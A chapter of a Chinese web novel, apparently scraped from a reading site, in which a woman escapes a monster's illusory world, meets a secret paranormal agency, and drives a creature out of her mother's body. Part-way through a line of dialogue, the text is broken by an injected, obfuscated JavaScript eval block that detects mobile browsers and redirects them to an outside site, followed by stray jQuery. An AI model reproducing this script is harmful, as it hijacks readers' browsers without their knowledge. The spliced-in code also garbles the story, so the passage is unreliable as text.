9. 地狱少女

作品:《高中生今天也在拯救世界!

    *


    “表世界的普通人一旦进入里世界,凭自己的力量是很难出来的。”成功收容异种后巫神月这么说,阴暗潮湿的气息逐渐散去,“天亮了,现在已经可以出去了。”


    名为“织女”的异种就像化成浓黑液体,流入了她的影子之中。


    ……这就是收容吗?


    薛婵:“……我们终于可以出去了?”


    “接下来能不能活着出去,看你自己。”


    巫神月用平静的语气淡淡说:“最重要的是,离开里世界的路上不能回头,只要回头,你就永远留下来了。”


    “不要听任何人说话,因为他们绝对不是你以为的那个人。”


    在你离开里世界之前,这个世界会竭尽全力地迷惑你,它会探知你的欲望,寻找你的渴求,试图击破你的心灵……


    你所想的一切,都会出现。


    这对于人类来说实在是太难了。


    是人就会有欲望。


    不能回头?薛婵一一记下。


    薛婵想,对她来说,最重要的无非是在精神病院的母亲,只要忽略那些声音就好了。


    大雾四起。


    电闪雷鸣,狂风大作,却没有把眼前的迷雾吹散。


    巫神月快步走,走在前头,“跟着我。”


    薛婵顿了一下,她看着对方的背影,忽然有点犹豫,如果这个神秘小姑娘也只是一场骗局怎么办?如果这个人也是里世界幻化出来骗她的,怎么办?


    这个人是真实存在的吗?


    薛婵不想疑神疑鬼,像精神病一样,可是这段时间她快被逼疯了。


    她不能轻易相信任何人。


    “巫神月”似乎明白她在担忧什么,她回过头,连帽衫兜帽遮住了她的长发,只留些许在狂风中飞舞。


    还不跟上来吗?她似乎在问。


    她走的太快了。


    快得她仿佛没有任何属于人类的欲望,没有任何东西能将她诱惑留下。


    薛婵缓缓迈开步子,终于跟着那个声音开始走了。她刚往前走,浓稠的雾气立刻沉沉地包裹住了她,像是把她吞噬了似的,狂风让她甚至维持不住步子。


    风太大了。


    雾气中若隐若现的人影也缓缓转向了踉跄前行的她,迷雾之中,似乎有什么东西盯住了她。


    这样诡异的大雾与狂风,跟着她走真的是对的吗?


    无数念头在薛婵脑海中盘旋,她却只咬紧牙关努力往前走。


    薛婵低着头,对自己说,走吧。


    还有更糟糕的情况吗?


    如果说这还是一场引诱她的骗局,她也不想再挣扎了。


    如果这个身上处处有异常、给人一种非人感的小姑娘真的是怪物,她也不挣扎了。


    迷雾之中,她偶尔还会撞到一些“人”,薛婵不敢看,只能闭上眼睛,她甚至觉得有什么东西的脸就贴在自己的鼻尖前,他们伸出手,他们用阴森的,仇恨的,充血的,猩红的眼睛死死盯着她。


    风太大了,地动山摇。


    这比世界末日的动静还要大。


    周遭没有树木可以抓住,薛婵摔倒在地,差点被刮到二里地。那一刻她身上汗毛都起了一片,觉得自己下一秒就要被卷进风中,做龙卷风中的一员了。


    男友的声音就在她耳畔,“婵婵,婵婵,你为什么不理我。”


    “你为什么丢下我,婵婵,你睁开眼睛看一看啊,你在跟着怪物走!!”


    实习生恐惧害怕的声音从她身旁一吹而过,就像是她从对面正好跑来,正在逃跑。


    她的求救声呼喊声惊慌失措:“薛姐!”


    她的声音惶恐不安,“快跑!——”


    薛婵背脊上不由窜过一阵凉意。


    “你面前就是怪物啊——!”


    男友实习生摄影师的话纷至杳来。


    为什么不相信他们呢?他们认识的时间更久啊!眼前这个人和她才认识不到半天,她为什么要相信她啊?!


    相比其他循循善诱,或恐惧或害怕的声音,走在前方开路的“巫神月”声音就显得冷淡多了。


    “你在犹豫什么?别回头……”


    薛婵死死咬着牙关,咬出血来,拼命控制着自己转身的冲动。


    “巫神月”说过,他们不是“人”。


    这种“东西”的话,半个字都不能信。


    在沙漠中行走,有现在痛苦吗?


    这样的狂风,比薛婵见过的台风天还要吓人,仿佛整个世界活了过来狰狞起来,张牙舞爪要吃人。


    一道闪电就劈在她刚刚站的位置。


    不知道走了多久。


    “巫神月”终于停了下来。


    所有幻象尽数褪去,大雾消散。


    薛婵这才发现自己原来站在村寨的大门处,目光所及都是废弃腐烂的房屋和其他农业设施。


    天,亮了。


    “巫神月”看了一眼天,“出来了。”


    “我们终于出来了吗?!”薛婵大口大口地喘着气。


    “就到这里吧。”


    那个人头也没有回,“走了。”


    她太强大了,身上的非人感太强了,是话越少越显得可怕的类型。


    “巫神月。”


    薛婵喊住她。


    薛婵知道她危险,她比怪物还强大危险得多,可是没办法,她只能求她,苦苦求她帮忙。她飞速诉说了一遍自己的请求,只希望“巫神月”可以帮她,让她的母亲恢复正常,让怪物离开她母亲的身体。


    “巫神月”并没有回头。


    “你没有想要保护的人吗?”薛婵站在那问。


    望着那孤身一人的神秘背影,薛婵一字一句问:“没有力量、只是个普通人、连自保的能力都没有,我却有拼上所有也要保护的人——”


    难道你没有吗?!


    你就没有一个拼上一切也要护着的人吗?


    薛婵的声音低下来,“哪怕是为了朋友。”


    她转过头。


    薛婵在她明亮的眼睛里能看见宇宙的涡旋,剔透的猫眼石,燃烧的恒星,蕴含着命运的潮涌,冷漠又洞彻。


    她的眼神太平静了。


    哪怕是现在,也一样。永远是理智而平静的。她看着人的时候就像是在看花草树木,目空四海,睥睨一切,好像在她眼中人和花草树木没有差别。


    “我没有一定要守护的人。”


    她这么说。


    明明这么年轻,高中生的年纪,为什么会有这样的眼神,反问她:“你以为你这样说,这样示弱,我就一定会帮助你吗?”


    “不。”薛婵看向她的祈求目光就像是望向神明,缓和语气道:“我没有拿捏你的意思,我是在求你。”


    “巫神月”定定地看着她,那双猫眼石般绯红眼睛看得她有些心悸。


    然后朝她走来。


    失去意识、陷入昏迷前的最后一秒,薛婵似乎隐约听见有人在说话。


    “……还有,猜错了哦。”


    “巫神月,并不是我的名字。”


    *


    *


    薛婵醒来的时候正在一间一百多平的纯白房间中。


    她不动声色观察了一遍。


    这看上去很像电影里的实验室休息室之类的,房间里走来走去的不是白大褂就是纯白防护服,以及几个持枪站立的军人。


    ……还有看着像科学怪人的家伙趴在透明玻璃墙上不知道在看什么。


    薛婵顺着他们的目光看过去。


    透过透明玻璃窗,她看见了隔壁房间内熟悉的怪物——房间玻璃上贴着标签:


    [序列编号:异种-1184号(织女)]


    [危险等级:S]


    [描述:异种-1184是由人皮组成的巨型复合人皮怪物,产卵,类蜘蛛,擅长制造幻象,被洞溶村民误认为“织女”,当地土话叫做“巫神月”。


    后吞噬历代织女的肉身与怨念,吞掉最后一代织女后,进化成S级。]


    [收容规定:禁止一切人员未经原博士许可进入收容间,触碰异种1184。


    所有接触到1184号“织丝”的生物,都会混乱记忆,失去理智,被剥夺一切正向的情绪,被扒下皮肤做成“织物”。


    经测试,理智这类情绪被剥夺得最为明显。]


    薛婵目光落在最下方的一行小字上。


    【温馨提示:高高在上的仙女素娥,怎么可能被困人间、堕入泥潭……


    若遇到“牛郎”与“织女”,如果可以,请仔细甄辨并弄清,那到底是什么东西?


    :)】


    不知道为什么,薛婵总觉得这一行字就是那个人写的。


    不过异种……是怪物的代指称呼吗?


    “这是哪?”薛婵谨慎地问。


    她的风衣、鸭舌帽都还在,包括登山包也在身边。


    研究员回她:“这里是B.P.R.D.,我们的人特意从洞溶山把你接来的。”


    “B.P.R.D.——BureauofParanormalResearchandDefense,中文名为超自然现象管理所。”


    “怎么样?身体有什么不舒服的地方吗?”


    薛婵摇摇头。


    边上的工作人员一直在留心她的情况,见她醒来,就把一个东西递给她:“对了,这是她让我转交你的。”


    “她?”


    薛婵眼睛一亮,再疲惫还是飞速伸手接了过来,抿了一下干裂的嘴唇,干涩的嗓子哑着问,“那个小姑娘已经走了吗?”


    工作人员点头,“她比较忙。”


    薛婵又问:“她、她叫什么名字?”


    “这……”工作人员有些犹豫。


    薛婵试探:“……她的名字是机密吗?我不能知道吗?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794035|158272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    一个神秘的高三学生,居然是这么大的国家隐秘机构的机密吗?


    连名字都不能说?


    “她……”工作人员还是犹豫。


    一个白衣黑裤、长发低马尾的女人踩着军靴踏入这个密闭空间,作战服腰上别枪,看上去上更高一层的人物,其他工作人员向她点点头。


    “部长。”


    “部长。”


    “部长。”


    四周接连响起招呼声。


    “她是我们B.P.R.D.的一级机密没错,不过总有一天,全世界都会知道她的名字……”这个长发低马尾的女人慢慢道。


    “——她就是新望未。”


    低马尾女人用了“是”,而不是“叫”。


    一般的人介绍时用的都是“她叫xx”,而不是“她就是xx”,薛婵想,新望未究竟是什么样的存在呢。


    “望未已经走了?”低马尾问。


    “嗯,这次路上抓了三个狂信徒。”白大褂扶了一下眼镜,说,“对了,望未同学还找到了一则手谕。”


    手谕的内容涂改很多,文字混乱晦涩,还夹杂很多黑色涂改方块:


    【世界裂开一个缝,异世界的怪物们慢慢入侵


    祂原沉睡在里世界,通过■■迷惑人类的心灵,将人类拉入■■■


    祂的信徒们相信当群星排列成一线,红月当天


    祂会苏醒,表里世界将再无隔阂


    祂将降世,成为此世之主……】


    “这是什么?你们在谈论的狂信徒还有手谕……”薛婵有些警觉,“这种事情让我一个普通人知道也可以吗?”


    “薛婵是吗?”


    而这时,低马尾女人主动向她伸手,她身上有种很少见的匪气:“我是B.P.R.D.的分部部长,我姓易,易水决。”


    “你虽然没有特殊能力,不过灵感和理智波动起伏挺稳定的,很优秀。望未她说,你在里世界内至少经历了三次以上的循环错乱,不过现在看来,你目前仍保有理智。”


    “不知道你有没有兴趣加入B.P.R.D.,成为我们的一员?”


    *


    精神病院,病床前。


    薛婵深深地望着被绑在床上的中年女人,她脸上每一寸皱纹她都熟悉,再熟悉不过。三年了,她眼睁睁看着这个人一点点瘦下去,干瘪下去,吃不了人的东西,咬人,发狂……却无能为力。


    这个拥有她母亲的脸的身体,是怪物。


    这个身体里住着的是怪物。


    一直以来顾及母亲的身体,她什么也做不了,求神问佛也没有用,只能回到那个地方。


    可现在,她不怕了。


    她直接一把拽住“母亲”的病服衣领,死死按住它,将手中的东西死死摁在它身上,“呲呲”,她好像听见血肉被烫的声音。


    就像烤肉放在烧烤盘上的动静。


    真的有用。


    面前中年女人的脸一瞬间狰狞起来,她挣扎起来,用浑浊的眼球直勾勾望着她,嘴里不停地说,婵婵,你为什么要这样对妈妈,妈妈好痛,好痛,婵婵,婵婵。


    愤怒使薛婵忘记恐惧。


    她和那张脸凑得那样近,两张相似的脸,年轻些的那张脸因愤怒与痛苦而扭曲着,恶狠狠咒骂道:“从我妈妈的身体里滚出去!!!”


    “你他爹的给我去死!”


    “母亲”剧烈挣扎着,就在这时,可怖的事情发生了,就发生在薛婵眼前。


    母亲的脸突然从中间裂开又张开,断裂处是一排排锯齿,如同张开血盆大口的巨型食人花,向外伸展开数十条紫黑色的蛛丝,猛地钳制住自己女儿的脖颈。


    怪物终于不再隐藏,暴露出它恐怖惊悚的真容。


    “**&&%¥!”


    “*&……%!”


    不过它没想到的是,这个人类比它更狠,更疯,更不怕死。


    她没有放手。


    简直是疯子。


    “我告诉你,我他x的不怕你!”薛婵低声咒骂,骂得很难听:“去死——你他x的给我去死!!”


    哪怕脖子被一点点勒紧,呼吸不过来,眼球翻白,头发凌乱,薛婵还是用力死死拽住它,和那张扭曲的恐怖的脸对视,眼睛瞪得比对方还要阴狠,痛声咒骂:“我、要、杀、了、你……咳咳……我要杀了你!”


    眼泪滑落。


    滚。


    滚啊。


    去死吧。


    她歇斯底里,咬着一个个字重复:


    “我说——从我母亲的身体里滚出去!”


    ……


    她瘫倒在椅子上,身体颤抖着,挤压几年的情绪这一刻终于伴随着眼泪爆发。


    手心的暗红色花钱穗子握紧又摊开,那古老钱币正面是一只展翅欲飞的不死鸟图案,背面刻着一个字——


    “新”。